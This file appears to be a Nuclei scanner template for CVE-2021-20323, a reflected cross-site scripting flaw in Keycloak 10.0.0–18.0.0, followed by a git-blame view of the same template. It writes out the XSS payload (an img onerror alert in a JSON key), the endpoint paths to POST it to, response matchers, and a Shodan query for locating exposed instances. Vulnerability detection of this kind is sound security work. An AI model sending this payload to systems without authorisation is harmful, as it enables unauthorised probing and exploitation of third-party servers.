nuclei-templates/http/cves/2021/CVE-2021-20323.yaml

id: CVE-2021-20323

info:
  name: Keycloak 10.0.0 - 18.0.0 - Cross-Site Scripting
  author: ndmalc
  severity: medium
  description: |
    Keycloak 10.0.0 to 18.0.0 contains a cross-site scripting vulnerability via the client-registrations endpoint. On a POST request, the application does not sanitize an unknown attribute name before including it in the error response with a 'Content-Type' of text/hml. Once reflected, the response is interpreted as HTML. This can be performed on any realm present on the Keycloak instance. Since the bug requires Content-Type application/json and is submitted via a POST, there is no common path to exploit that has a user impact.
  reference:
    - https://github.com/keycloak/keycloak/security/advisories/GHSA-m98g-63qj-fp8j
    - https://bugzilla.redhat.com/show_bug.cgi?id=2013577
    - https://access.redhat.com/security/cve/CVE-2021-20323
    - https://github.com/ndmalc/CVE-2021-20323
    - https://github.com/keycloak/keycloak/commit/3aa3db16eac9b9ed8c5335ac86f5f50e0c68662d
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20323
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-20323
    cwe-id: CWE-79
    cpe: cpe:2.3:a:redhat:keycloak:*:*:*:*:*:*:*:*
    epss-score: 0.00228
  metadata:
    max-request: 4
    shodan-query: html:"Keycloak"
    verified: "true"
  tags: cve,cve2021,keycloak,xss

http:
  - method: POST
    path:
      - "{{BaseURL}}/auth/realms/master/clients-registrations/default"
      - "{{BaseURL}}/auth/realms/master/clients-registrations/openid-connect"
      - "{{BaseURL}}/realms/master/clients-registrations/default"
      - "{{BaseURL}}/realms/master/clients-registrations/openid-connect"

    headers:
      Content-Type: application/json

    body: "{\"Test<img src=x onerror=alert(document.domain)>\":1}"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Unrecognized field "Test<img src=x onerror=alert(document.domain)>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 400

# Enhanced by md on 2023/01/06
Add template for CVE-2021-20323 2022-12-07 21:34:02 +00:00			`id: CVE-2021-20323`

			`info:`
Dashboard Content Enhancements (#6526) Dashboard Content Enhancements 2023-01-16 17:41:15 +00:00			`name: Keycloak 10.0.0 - 18.0.0 - Cross-Site Scripting`
Add template for CVE-2021-20323 2022-12-07 21:34:02 +00:00			`author: ndmalc`
			`severity: medium`
Update CVE-2021-20323.yaml 2022-12-08 05:23:09 +00:00			`description: \|`
Dashboard Content Enhancements (#6526) Dashboard Content Enhancements 2023-01-16 17:41:15 +00:00			Keycloak 10.0.0 to 18.0.0 contains a cross-site scripting vulnerability via the client-registrations endpoint. On a POST request, the application does not sanitize an unknown attribute name before including it in the error response with a 'Content-Type' of text/hml. Once reflected, the response is interpreted as HTML. This can be performed on any realm present on the Keycloak instance. Since the bug requires Content-Type application/json and is submitted via a POST, there is no common path to exploit that has a user impact.
Add template for CVE-2021-20323 2022-12-07 21:34:02 +00:00			`reference:`
			`- https://github.com/keycloak/keycloak/security/advisories/GHSA-m98g-63qj-fp8j`
			`- https://bugzilla.redhat.com/show_bug.cgi?id=2013577`
			`- https://access.redhat.com/security/cve/CVE-2021-20323`
			`- https://github.com/ndmalc/CVE-2021-20323`
			`- https://github.com/keycloak/keycloak/commit/3aa3db16eac9b9ed8c5335ac86f5f50e0c68662d`
Update CVE-2021-20323.yaml 2022-12-08 05:23:09 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2021-20323`
Add template for CVE-2021-20323 2022-12-07 21:34:02 +00:00			`classification:`
Auto Generated CVE annotations [Thu Dec 8 05:55:10 UTC 2022] :robot: 2022-12-08 05:55:10 +00:00			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`
			`cvss-score: 6.1`
Add template for CVE-2021-20323 2022-12-07 21:34:02 +00:00			`cve-id: CVE-2021-20323`
Auto Generated CVE annotations [Thu Dec 8 05:55:10 UTC 2022] :robot: 2022-12-08 05:55:10 +00:00			`cwe-id: CWE-79`
Added CPE and EPSS Score to CVE Templates 2023-04-12 10:55:48 +00:00			`cpe: cpe:2.3:a:redhat:keycloak::::::::`
			`epss-score: 0.00228`
Update CVE-2021-20323.yaml 2022-12-08 05:25:41 +00:00			`metadata:`
Added max request counter of each template 2023-04-28 08:11:21 +00:00			`max-request: 4`
Update CVE-2021-20323.yaml 2022-12-08 05:25:41 +00:00			`shodan-query: html:"Keycloak"`
Auto Generated CVE annotations [Thu Dec 8 05:55:10 UTC 2022] :robot: 2022-12-08 05:55:10 +00:00			`verified: "true"`
Update CVE-2021-20323.yaml 2022-12-08 05:23:09 +00:00			`tags: cve,cve2021,keycloak,xss`
Add template for CVE-2021-20323 2022-12-07 21:34:02 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Add template for CVE-2021-20323 2022-12-07 21:34:02 +00:00			`- method: POST`
Update CVE-2021-20323.yaml 2022-12-08 05:23:09 +00:00			`path:`
			`- "{{BaseURL}}/auth/realms/master/clients-registrations/default"`
			`- "{{BaseURL}}/auth/realms/master/clients-registrations/openid-connect"`
			`- "{{BaseURL}}/realms/master/clients-registrations/default"`
			`- "{{BaseURL}}/realms/master/clients-registrations/openid-connect"`

Add template for CVE-2021-20323 2022-12-07 21:34:02 +00:00			`headers:`
Update CVE-2021-20323.yaml 2022-12-08 05:27:20 +00:00			`Content-Type: application/json`
Update CVE-2021-20323.yaml 2022-12-08 05:23:09 +00:00
			`body: "{\"Test<img src=x onerror=alert(document.domain)>\":1}"`
Add template for CVE-2021-20323 2022-12-07 21:34:02 +00:00
			`stop-at-first-match: true`
			`matchers-condition: and`
			`matchers:`
			`- type: word`
			`part: body`
Update CVE-2021-20323.yaml 2022-12-08 05:23:09 +00:00			`words:`
			`- 'Unrecognized field "Test<img src=x onerror=alert(document.domain)>'`

Add template for CVE-2021-20323 2022-12-07 21:34:02 +00:00			`- type: word`
Update CVE-2021-20323.yaml 2022-12-08 05:23:09 +00:00			`part: header`
Add template for CVE-2021-20323 2022-12-07 21:34:02 +00:00			`words:`
Update CVE-2021-20323.yaml 2022-12-08 05:23:09 +00:00			`- text/html`
Update CVE-2021-20323.yaml 2022-12-08 05:25:41 +00:00
			`- type: status`
			`status:`
			`- 400`
Dashboard Content Enhancements (#6526) Dashboard Content Enhancements 2023-01-16 17:41:15 +00:00
			`# Enhanced by md on 2023/01/06`